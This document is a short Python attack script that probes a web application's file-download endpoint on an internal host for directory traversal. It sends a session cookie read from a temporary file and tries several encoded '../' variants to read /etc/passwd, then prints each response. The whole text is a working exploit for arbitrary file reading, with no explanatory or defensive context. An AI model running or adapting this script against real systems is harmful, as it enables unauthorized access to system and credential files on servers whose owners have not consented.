import http.client
RM=open('/tmp/rm.txt').read().strip()
paths=[
'/common/download?fileName=/profile/upload/2026/12/04/bb2dc433-ced8-4008-8b49-6daec2c56606.txt',
'/common/download?fileName=/profile/upload/2026/12/04/../../../../../../etc/passwd',
'/common/download?fileName=/profile/upload/2026/12/04/../../../../../etc/passwd',
'/common/download?fileName=/profile/upload/../../../../../../etc/passwd',
'/common/download?fileName=/profile/upload/2026/12/04/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
'/common/download?fileName=/profile/upload/2026/12/04/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd',
'/common/download?fileName=/profile/upload/2026/12/04/....//....//....//....//....//etc/passwd',
]
for p in paths:
 try:
  c=http.client.HTTPConnection('10.0.0.7',8088,timeout=8)
  c.request('GET',p,headers={'Host':'gitee.com','User-Agent':'Mozilla/5.0','Cookie':'rememberMe='+RM})
  r=c.getresponse();d=r.read(800);c.close()
  print('===',p,r.status,len(d));print(d[:300].decode('utf-8','replace').replace('\n',' '))
 except Exception as e:print(p,'X',type(e).__name__)
